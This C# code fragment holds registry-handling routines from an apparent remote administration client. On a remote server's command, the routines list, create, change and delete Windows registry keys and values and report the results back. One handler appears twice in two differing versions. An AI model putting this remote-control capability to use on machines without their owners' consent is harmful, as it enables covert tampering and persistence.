public static void HandleChangeRegistryValue(xClient.Core.Packets.ServerPackets.DoChangeRegistryValue packet, Client client) { xClient.Core.Packets.ClientPackets.GetChangeRegistryValueResponse responsePacket = new Packets.ClientPackets.GetChangeRegistryValueResponse(); string errorMsg = ""; try { responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.KeyPath = packet.KeyPath; responsePacket.Value = packet.Value; responsePacket.Execute(client); }
public static void HandleCreateRegistryValue(xClient.Core.Packets.ServerPackets.DoCreateRegistryValue packet, Client client) { xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse(); string errorMsg = ""; string newKeyName = ""; try { responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.Value = new RegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault()); responsePacket.KeyPath = packet.KeyPath; responsePacket.Execute(client); }
public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client) { xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse(); string errorMsg = ""; string newKeyName = ""; try { responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.Match = new RegSeekerMatch(newKeyName, RegistryKeyHelper.GetDefaultValues(), 0); responsePacket.ParentPath = packet.ParentPath; responsePacket.Execute(client); }
public static void HandleDeleteRegistryKey(xClient.Core.Packets.ServerPackets.DoDeleteRegistryKey packet, Client client) { xClient.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryKeyResponse(); string errorMsg = ""; try { responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(packet.KeyName, packet.ParentPath, out errorMsg)); } catch (Exception ex) { responsePacket.IsError = true; errorMsg = ex.Message; } responsePacket.ErrorMsg = errorMsg; responsePacket.ParentPath = packet.ParentPath; responsePacket.KeyName = packet.KeyName; responsePacket.Execute(client); }
public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client) { xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse(); try { RegistrySeeker seeker = new RegistrySeeker(); seeker.BeginSeeking(packet.RootKeyName); responsePacket.Matches = seeker.Matches; responsePacket.IsError = false; } catch (Exception e) { responsePacket.IsError = true; responsePacket.ErrorMsg = e.Message; } responsePacket.RootKey = packet.RootKeyName; responsePacket.Execute(client); }
public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client) { try { seeker = new RegistrySeeker(); xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse(); seeker.SearchComplete += (object o, SearchCompletedEventArgs e) => { responsePacket.Matches = e.Matches.ToArray(); responsePacket.RootKey = packet.RootKeyName; responsePacket.Execute(client); }; // If the search parameters of the packet is null, the server is requesting to obtain the root keys. if (packet.RootKeyName == null) { seeker.Start(new RegistrySeekerParams(null)); } else { seeker.Start(packet.RootKeyName); } } catch { } }